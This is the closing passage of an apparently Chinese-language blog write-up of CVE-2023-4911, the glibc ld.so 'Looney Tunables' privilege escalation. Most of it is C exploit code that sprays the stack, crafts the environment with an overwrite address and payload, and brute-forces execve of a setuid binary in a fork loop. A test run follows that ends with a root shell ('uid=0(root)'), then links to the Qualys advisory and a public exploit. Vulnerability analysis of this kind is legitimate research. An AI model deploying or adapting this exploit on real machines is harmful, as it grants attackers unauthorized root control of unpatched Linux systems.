for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
{
padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';

for (int i = 0; i < STACK_SIZE; i += 8)
{
*(uintptr_t *)(stack_spray + i) = -0x14ULL;
}
stack_spray[STACK_SIZE - 1] = '\0';



for (int i = 2; i < ENVP_SIZE-1; i++)
{
envp[i] = "";
}
envp[0] = fill1;
envp[1] = payload;
// envp[0] = "";
// envp[1] = "";
envp[0x25 + 0xb8] = "\x10\xF0\xFF\xFF\xFC\x7F";

for (int i = 0; i < 0x2F; i++)
{
envp[0x200 + i] = stack_spray;
}
envp[0x1FE] = padding;
envp[0x23F] = "AAAA";
struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
if (setrlimit(RLIMIT_STACK, &rlim) < 0)
{
perror("setrlimit");
}

int pid;
for (int ct = 1;; ct++)
{
if (ct % 100 == 0)
{
printf("try %d\n", ct);
}
if ((pid = fork()) < 0)
{
perror("fork");
break;
}
else if (pid == 0) // child
{
if (execve(nargv[0], nargv, envp) < 0)
{
perror("execve");
break;
}
}
else // parent
{
int wstatus;
int64_t st, en;
st = time_us();
wait(&wstatus);
en = time_us();
if (!WIFSIGNALED(wstatus) && en - st > 1000000)
{
// probably returning from shell :)
break;
}
}
}

// execve(nargv[0], nargv, envp);

return 0;
}

测试情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./myexp
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
# id
uid=0(root) gid=0(root)

参考文档

  1. https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
  2. https://haxx.in/files/gnu-acme.py

CVE-2023-4911 libc提权漏洞分析

https://nobb.site/2023/10/16/0x80/

Author

Hcamael

Posted on

2023-10-16

Updated on

2023-12-08

Licensed under